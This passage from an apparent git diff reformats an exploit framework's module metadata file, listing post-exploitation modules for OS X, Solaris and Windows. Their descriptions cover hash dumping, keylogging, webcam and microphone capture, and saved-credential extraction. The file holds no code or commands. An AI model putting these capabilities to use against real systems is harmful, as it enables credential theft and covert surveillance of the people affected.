gets dismissed by a programmatically triggered click.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -270692,23 +240438,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/enum_messages": { "name": "OS X Gather Messages", "fullname": "post/osx/gather/enum_messages", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270716,9 +240457,7 @@ "Geckom " ], "description": "This module will collect the Messages sqlite3 database files and chat logs\n from the victim's machine. There are four actions you may choose: DBFILE,\n READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and\n LATEST will retrieve the last X number of messages (useful with 2FA). Module\n was tested with OS X 10.11 (El Capitan).", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -270732,8 +240471,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" @@ -270761,9 +240499,7 @@ "post_osx/gather/enum_osx": { "name": "OS X Gather Mac OS X System Information Enumeration", "fullname": "post/osx/gather/enum_osx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270771,9 +240507,7 @@ "Carlos Perez " ], "description": "This module gathers basic system information from Mac OS X Tiger (10.4), through\n Mojave (10.14).", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -270787,23 +240521,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/gitignore": { "name": "Git Ignore Retriever", "fullname": "post/osx/gather/gitignore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270811,9 +240540,7 @@ "N!ght Jmp" ], "description": "This module finds potentially sensitive items by finding .gitignore files.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -270834,25 +240561,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/hashdump": { "name": "OS X Gather Mac OS X Password Hash Collector", "fullname": "post/osx/gather/hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270862,9 +240583,7 @@ "joev " ], "description": "This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports\n versions 10.3 to 10.14.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -270878,23 +240597,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/password_prompt_spoof": { "name": "OSX Password Prompt Spoof", "fullname": "post/osx/gather/password_prompt_spoof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270920,23 +240634,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/safari_lastsession": { "name": "OSX Gather Safari LastSession.plist", "fullname": "post/osx/gather/safari_lastsession", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270960,23 +240669,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/vnc_password_osx": { "name": "OS X Display Apple VNC Password", "fullname": "post/osx/gather/vnc_password_osx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270984,9 +240688,7 @@ "Kevin Gonzalvo " ], "description": "This module shows Apple VNC Password from Mac OS X High Sierra.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -271000,23 +240702,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/manage/mount_share": { "name": "OSX Network Share Mounter", "fullname": "post/osx/manage/mount_share", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271025,9 +240722,7 @@ "joev " ], "description": "This module lists saved network shares and tries to connect to them using stored\n credentials. This does not require root privileges.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -271041,8 +240736,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" @@ -271066,9 +240760,7 @@ "post_osx/manage/record_mic": { "name": "OSX Manage Record Microphone", "fullname": "post/osx/manage/record_mic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271076,9 +240768,7 @@ "joev " ], "description": "This module will allow the user to detect (with the LIST action) and\n capture (with the RECORD action) audio inputs on a remote OSX machine.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -271092,8 +240782,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], @@ -271112,9 +240801,7 @@ "post_osx/manage/sonic_pi": { "name": "OS X Manage Sonic Pi", "fullname": "post/osx/manage/sonic_pi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271166,9 +240853,7 @@ "post_osx/manage/vpn": { "name": "OSX VPN Manager", "fullname": "post/osx/manage/vpn", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271176,9 +240861,7 @@ "Peter Toth " ], "description": "This module lists VPN connections and tries to connect to them using stored credentials.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -271192,8 +240875,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" @@ -271217,9 +240899,7 @@ "post_osx/manage/webcam": { "name": "OSX Manage Webcam", "fullname": "post/osx/manage/webcam", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271227,9 +240907,7 @@ "joev " ], "description": "This module will allow the user to detect installed webcams (with\n the LIST action), take a snapshot (with the SNAPSHOT action), or\n record a webcam and mic (with the RECORD action)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -271243,8 +240921,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], @@ -271267,9 +240944,7 @@ "post_solaris/escalate/pfexec": { "name": "Solaris pfexec Upgrade Shell", "fullname": "post/solaris/escalate/pfexec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271295,22 +240970,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_solaris/escalate/srsexec_readline": { "name": "Solaris srsexec Arbitrary File Reader", "fullname": "post/solaris/escalate/srsexec_readline", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-05-07", "type": "post", @@ -271339,23 +241009,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_solaris/gather/checkvm": { "name": "Solaris Gather Virtual Environment Detection", "fullname": "post/solaris/gather/checkvm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271363,9 +241028,7 @@ "Carlos Perez " ], "description": "This module attempts to determine whether the system is running\n inside of a virtual environment and if so, which one. This\n module supports detection of Solaris Zone, VMWare, VirtualBox, Xen,\n and QEMU/KVM.", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "", "rport": null, @@ -271379,22 +241042,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_solaris/gather/enum_packages": { "name": "Solaris Gather Installed Packages", "fullname": "post/solaris/gather/enum_packages", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271402,9 +241060,7 @@ "Carlos Perez " ], "description": "Post module to enumerate installed packages on a Solaris System", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "", "rport": null, @@ -271418,22 +241074,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_solaris/gather/enum_services": { "name": "Solaris Gather Configured Services", "fullname": "post/solaris/gather/enum_services", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271441,9 +241092,7 @@ "Carlos Perez " ], "description": "Post module to enumerate services on a Solaris System", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "", "rport": null, @@ -271457,22 +241106,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_solaris/gather/hashdump": { "name": "Solaris Gather Dump Password Hashes for Solaris Systems", "fullname": "post/solaris/gather/hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271480,9 +241124,7 @@ "Carlos Perez " ], "description": "Post module to dump the password hashes for all users on a Solaris System", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "", "rport": null, @@ -271496,22 +241138,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/capture/keylog_recorder": { "name": "Windows Capture Keystroke Recorder", "fullname": "post/windows/capture/keylog_recorder", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271520,9 +241157,7 @@ "Josh Hale " ], "description": "This module can be used to capture keystrokes. To capture keystrokes when the session is running\n as SYSTEM, the MIGRATE option must be enabled and the CAPTURE_TYPE option should be set to one of\n Explorer, Winlogon, or a specific PID. To capture the keystrokes of the interactive user, the\n Explorer option should be used with MIGRATE enabled. Keep in mind that this will demote this session\n to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon\n option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN\n option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text\n password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -271536,22 +241171,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/capture/lockout_keylogger": { "name": "Windows Capture Winlogon Lockout Credential Keylogger", "fullname": "post/windows/capture/lockout_keylogger", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271576,22 +241206,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/escalate/droplnk": { "name": "Windows Escalate SMB Icon LNK Dropper", "fullname": "post/windows/escalate/droplnk", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271599,9 +241224,7 @@ "mubix " ], "description": "This module drops a shortcut (LNK file) that has a ICON reference\n existing on the specified remote host, causing SMB and WebDAV\n connections to be initiated from any user that views the shortcut.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -271615,22 +241238,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/escalate/getsystem": { "name": "Windows Escalation", "fullname": "post/windows/escalate/getsystem", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271638,9 +241256,7 @@ "hdm " ], "description": "This module uses the `getsystem` command to escalate the current session to the SYSTEM account using various\n techniques.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -271668,16 +241284,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/escalate/golden_ticket": { "name": "Windows Escalate Golden Ticket", "fullname": "post/windows/escalate/golden_ticket", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271701,22 +241313,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/escalate/ms10_073_kbdlayout": { "name": "Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation", "fullname": "post/windows/escalate/ms10_073_kbdlayout", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-10-12", "type": "post", @@ -271745,22 +241352,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/escalate/screen_unlock": { "name": "Windows Escalate Locked Desktop Unlocker", "fullname": "post/windows/escalate/screen_unlock", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271769,9 +241371,7 @@ "Metlstorm" ], "description": "This module unlocks a locked Windows desktop by patching\n the respective code inside the LSASS.exe process. This\n patching process can result in the target system hanging or\n even rebooting, so be careful when using this module on\n production systems.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -271785,22 +241385,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/escalate/unmarshal_cmd_exec": { "name": "Windows unmarshal post exploitation", "fullname": "post/windows/escalate/unmarshal_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-08-05", "type": "post", @@ -271830,22 +241425,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/arp_scanner": { "name": "Windows Gather ARP Scanner", "fullname": "post/windows/gather/arp_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271853,9 +241441,7 @@ "Carlos Perez " ], "description": "This Module will perform an ARP scan for a given IP range through a\n Meterpreter Session.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -271869,22 +241455,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/avast_memory_dump": { "name": "Avast AV Memory Dumping Utility", "fullname": "post/windows/gather/avast_memory_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271892,9 +241473,7 @@ "DLL_Cool_J" ], "description": "This module leverages an Avast Anti-Virus memory dump utility that is shipped\n by default with Avast Anti-Virus Home software suite.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -271916,24 +241495,18 @@ "ioc-in-logs", "artifacts-on-disk" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/bitcoin_jacker": { "name": "Windows Gather Bitcoin Wallet", "fullname": "post/windows/gather/bitcoin_jacker", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271942,9 +241515,7 @@ "todb " ], "description": "This module downloads any Bitcoin wallet files from the target\n system. It currently supports both the classic Satoshi wallet and the\n more recent Armory wallets. Note that Satoshi wallets tend to be\n unencrypted by default, while Armory wallets tend to be encrypted by default.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -271958,22 +241529,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/bitlocker_fvek": { "name": "Bitlocker Master Key (FVEK) Extraction", "fullname": "post/windows/gather/bitlocker_fvek", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271998,22 +241564,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/bloodhound": { "name": "BloodHound Ingestor", "fullname": "post/windows/gather/bloodhound", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272022,9 +241583,7 @@ "h00die" ], "description": "This module will execute the BloodHound C# Ingestor (aka SharpHound) to gather sessions, local admin, domain trusts and more.\n With this information BloodHound will easily identify highly complex attack paths that would otherwise be impossible to quickly\n identify within an Active Directory environment.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86, x64", "rport": null, @@ -272045,27 +241604,19 @@ "SideEffects": [ "artifacts-on-disk" ], - "Stability": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/cachedump": { "name": "Windows Gather Credential Cache Dump", "fullname": "post/windows/gather/cachedump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272090,22 +241641,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/checkvm": { "name": "Windows Gather Virtual Environment Detection", "fullname": "post/windows/gather/checkvm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272136,12 +241682,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -272149,16 +241691,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/avira_password": { "name": "Windows Gather Avira Password Extraction", "fullname": "post/windows/gather/credentials/avira_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272166,9 +241704,7 @@ "Robert Kugler / robertchrk" ], "description": "This module extracts the weakly hashed password\n which is used to protect a Avira Antivirus (<= 15.0.17.273) installation.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272182,22 +241718,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/bulletproof_ftp": { "name": "Windows Gather BulletProof FTP Client Saved Password Extraction", "fullname": "post/windows/gather/credentials/bulletproof_ftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272205,9 +241736,7 @@ "juan vazquez " ], "description": "This module extracts information from BulletProof FTP Bookmarks files and store\n retrieved credentials in the database.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272221,22 +241750,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/coreftp": { "name": "Windows Gather CoreFTP Saved Password Extraction", "fullname": "post/windows/gather/credentials/coreftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272244,9 +241768,7 @@ "theLightCosine " ], "description": "This module extracts saved passwords from the CoreFTP FTP client. These\n passwords are stored in the registry. They are encrypted with AES-128-ECB.\n This module extracts and decrypts these passwords.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272260,22 +241782,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/credential_collector": { "name": "Windows Gather Credential Collector", "fullname": "post/windows/gather/credentials/credential_collector", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272283,9 +241800,7 @@ "tebo " ], "description": "This module harvests credentials found on the host and stores them in the database.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272299,22 +241814,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/domain_hashdump": { "name": "Windows Domain Controller Hashdump", "fullname": "post/windows/gather/credentials/domain_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272322,9 +241832,7 @@ "theLightCosine " ], "description": "This module attempts to copy the NTDS.dit database from a live Domain Controller\n and then parse out all of the User Accounts. It saves all of the captured password\n hashes, including historical ones.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272338,22 +241846,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/dynazip_log": { "name": "Windows Gather DynaZIP Saved Password Extraction", "fullname": "post/windows/gather/credentials/dynazip_log", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2001-03-27", "type": "post", @@ -272380,23 +241883,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/dyndns": { "name": "Windows Gather DynDNS Client Password Extractor", "fullname": "post/windows/gather/credentials/dyndns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272405,9 +241903,7 @@ "sinn3r " ], "description": "This module extracts the username, password, and hosts for DynDNS version 4.1.8.\n This is done by downloading the config.dyndns file from the victim machine, and then\n automatically decode the password field. The original copy of the config file is also\n saved to disk.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272421,22 +241917,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/enum_cred_store": { "name": "Windows Gather Credential Store Enumeration and Decryption Module", "fullname": "post/windows/gather/credentials/enum_cred_store", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272444,9 +241935,7 @@ "Kx499" ], "description": "This module will enumerate the Microsoft Credential Store and decrypt the\n credentials. This module can only access credentials created by the user the\n process is running as. It cannot decrypt Domain Network Passwords, but will\n display the username and location.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272460,22 +241949,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/enum_laps": { "name": "Windows Gather Credentials Local Administrator Password Solution", "fullname": "post/windows/gather/credentials/enum_laps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272483,9 +241967,7 @@ "Ben Campbell " ], "description": "This module will recover the LAPS (Local Administrator Password Solution) passwords,\n configured in Active Directory, which is usually only accessible by privileged users.\n Note that the local administrator account name is not stored in Active Directory,\n so it is assumed to be 'Administrator' by default.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272499,22 +241981,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/enum_picasa_pwds": { "name": "Windows Gather Google Picasa Password Extractor", "fullname": "post/windows/gather/credentials/enum_picasa_pwds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272523,9 +242000,7 @@ "Sil3ntDre4m " ], "description": "This module extracts and decrypts the login passwords\n stored by Google Picasa.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272539,22 +242014,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/epo_sql": { "name": "Windows Gather McAfee ePO 4.6 Config SQL Credentials", "fullname": "post/windows/gather/credentials/epo_sql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272562,9 +242032,7 @@ "Nathan Einwechter " ], "description": "This module extracts connection details and decrypts the saved password for the\n SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a\n config file. They are encrypted with AES-128-ECB and a static key.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272578,22 +242046,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/filezilla_server": { "name": "Windows Gather FileZilla FTP Server Credential Collection", "fullname": "post/windows/gather/credentials/filezilla_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272602,9 +242065,7 @@ "g0tmi1k" ], "description": "This module will collect credentials from the FileZilla FTP server if installed.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272618,22 +242079,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/flashfxp": { "name": "Windows Gather FlashFXP Saved Password Extraction", "fullname": "post/windows/gather/credentials/flashfxp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272641,9 +242097,7 @@ "theLightCosine " ], "description": "This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It\n finds saved FTP connections in the Sites.dat file.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272657,22 +242111,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/ftpnavigator": { "name": "Windows Gather FTP Navigator Saved Password Extraction", "fullname": "post/windows/gather/credentials/ftpnavigator", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272680,9 +242129,7 @@ "theLightCosine " ], "description": "This module extracts saved passwords from the FTP Navigator FTP client.\n It will decode the saved passwords and store them in the database.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272696,22 +242143,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/ftpx": { "name": "Windows Gather FTP Explorer (FTPX) Credential Extraction", "fullname": "post/windows/gather/credentials/ftpx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272719,9 +242161,7 @@ "bcoles " ], "description": "This module finds saved login credentials for the FTP Explorer (FTPx)\n FTP client for Windows.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272735,22 +242175,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/gpp": { "name": "Windows Gather Group Policy Preference Saved Passwords", "fullname": "post/windows/gather/credentials/gpp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272782,22 +242217,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/heidisql": { "name": "Windows Gather HeidiSQL Saved Password Extraction", "fullname": "post/windows/gather/credentials/heidisql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272805,9 +242235,7 @@ "h0ng10" ], "description": "This module extracts saved passwords from the HeidiSQL 